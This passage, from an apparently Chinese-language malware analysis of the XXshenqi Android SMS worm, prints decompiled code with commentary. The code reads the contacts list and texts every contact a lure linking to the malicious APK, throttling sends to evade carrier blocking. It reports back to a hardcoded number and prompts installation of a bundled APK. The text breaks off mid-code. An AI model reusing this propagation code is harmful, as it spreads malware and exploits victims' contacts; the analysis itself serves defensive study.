        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;localCursor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;moveToNext&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt;
        &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="n"&gt;label168&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;localCursor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;close&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
          &lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;contactArray&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;localArrayList&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
          &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;phoneString&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;localCursor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;localCursor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getColumnIndex&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;data1&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
        &lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;phoneString&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;phoneString&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;replace&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot; &amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;phoneString&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;phoneString&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;replace&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;+86&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt;
        &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;phoneString&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
          &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;20L&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;counts&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;amp&lt;/span&gt;&lt;span class="o"&gt;;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;amp&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;counts&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt;
              &lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5000L&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;counts&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;99&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
              &lt;span class="k"&gt;break&lt;/span&gt; &lt;span class="n"&gt;label168&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="n"&gt;SmsManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDefault&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;sendTextMessage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;phoneString&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;nameString&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;看这个，&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;http://cdn.yyupload.com/down/4279193/XXshenqi.apk&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;WelcomeActivity&lt;/span&gt; &lt;span class="n"&gt;localWelcomeActivity1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="n"&gt;localWelcomeActivity1&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;counts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;localWelcomeActivity1&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;counts&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;send Message to &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;nameString&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot; &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;counts&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
          &lt;span class="o"&gt;}&lt;/span&gt;
          &lt;span class="n"&gt;localArrayList&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;phoneString&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;localException&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;localException&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;SmsManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDefault&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;sendTextMessage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;18670259904&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;XXshenqi 群发链接OK&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;WelcomeActivity&lt;/span&gt; &lt;span class="n"&gt;localWelcomeActivity2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;localWelcomeActivity2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;counts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;localWelcomeActivity2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;counts&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;===========================&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;test----&amp;amp;gt;群发OK&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;============================&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;start&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;很明显在读取通讯录，通过内容提供者获取&lt;code&gt;ContactsContract.Contacts&lt;/code&gt;，获取到手机号和名字以后，就开始使用短信接口进行发送短信，这里他先在号码前面去除了存在的&lt;code&gt;+86&lt;/code&gt;的国际区号，然后对这个号码是否是手机号做了一个判定，还防止过于快速的发送短信被运营商封禁做了一个休眠（每条短信休眠20ms，20条短信后休眠5秒，每100条短信清空一下指针防止溢出或许），很不错。&lt;/p&gt;
&lt;p&gt;然后就是发送大家都看到的那条短信：&lt;code&gt;SmsManager.getDefault().sendTextMessage(WelcomeActivity.this.phoneString, null, WelcomeActivity.this.nameString + "看这个，" + "http://cdn.yyupload.com/down/4279193/XXshenqi.apk", null, null);&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;当程序在做这些事情的时候，我们看到的是这个画面：
&lt;img alt="欢迎界面" src="https://i.imgur.com/a3A7gcA.jpg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;完成后我们就到了主界面了，这时候你的通讯录好友已经都收到你的短信了。社会工程攻击已经完成了，病毒的下载链接已经扩散，就等小白上钩了~接下来就是对你的攻击了。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;进入主页面我们会看到这样的页面，提示我们安装资源包。&lt;/p&gt;
&lt;p&gt;&lt;img alt="pic2" src="https://i.imgur.com/Mt4cfsh.png"&gt;&lt;/p&gt;
&lt;p&gt;恩。一般人都会点安装的吧，然后就很顺其自然的安装了asserts目录下的那个apk&lt;/p&gt;
&lt;p&gt;&lt;img alt="pic3" src="https://i.imgur.com/T9Mmem4.png"&gt;&lt;/p&gt;
&lt;p&gt;让我们看看代码：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="nf"&gt;retrieveApkFromAssets&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt; &lt;span class="n"&gt;paramContext&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;paramString1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;paramString2&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;bool&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="n"&gt;localFile&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;paramString2&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;localFile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;exists&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;localFile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;createNewFile&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
  &lt;span class="n"&gt;InputStream&lt;/span&gt; &lt;span class="n"&gt;localInputStream&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;paramContext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getAssets&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;open&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;paramString1&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;FileOutputStream&lt;/span&gt; &lt;span class="n"&gt;localFileOutputStream&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;FileOutputStream&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;localFile&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
  &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;arrayOfByte&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="o"&gt;];&lt;/span&gt;
  &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;localInputStream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;read&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arrayOfByte&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;localFileOutputStream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;flush&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
      &lt;span class="n"&gt;localFileOutputStream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;close&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
      &lt;span class="n"&gt;localInputStream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;close&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
      &lt;span class="n"&gt;bool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
      &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;localFileOutputStream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arrayOfByte&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IOException&lt;/span&gt; &lt;span class="n"&gt;localIOException&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;Toast&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;makeText&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;paramContext&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;localIOException&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="o"&gt;(),&lt;/span&gt; &lt;span class="mi"&gt;2000&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;show&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
  &lt;span class="n"&gt;AlertDialog&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Builder&lt;/span&gt; &lt;span class="n"&gt;localBuilder&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;AlertDialog&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Builder&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;paramContext&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;localBuilder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setMessage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;localIOException&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
  &lt;span class="n"&gt;localBuilder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;show&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
  &lt;span class="n"&gt;localIOException&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printStackTrace&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
  &lt;span class="n"&gt;bool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;bool&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

 &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;showInstallConfirmDialog&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;Context&lt;/span&gt; &lt;span class="n"&gt;paramContext&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;paramString&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="n"&gt;AlertDialog&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Builder&lt;/span&gt; &lt;span class="n"&gt;localBuilder&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;AlertDialog&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Builder&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;paramContext&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;localBuilder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setIcon&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2130837592&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;localBuilder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setTitle&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;未安装资源包&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;localBuilder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setMessage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;请先安装资源包，资源包已整合至APK，点击安装即可安装。&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;localBuilder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setPositiveButton&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;安装&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;DialogInterface&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;OnClickListener&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
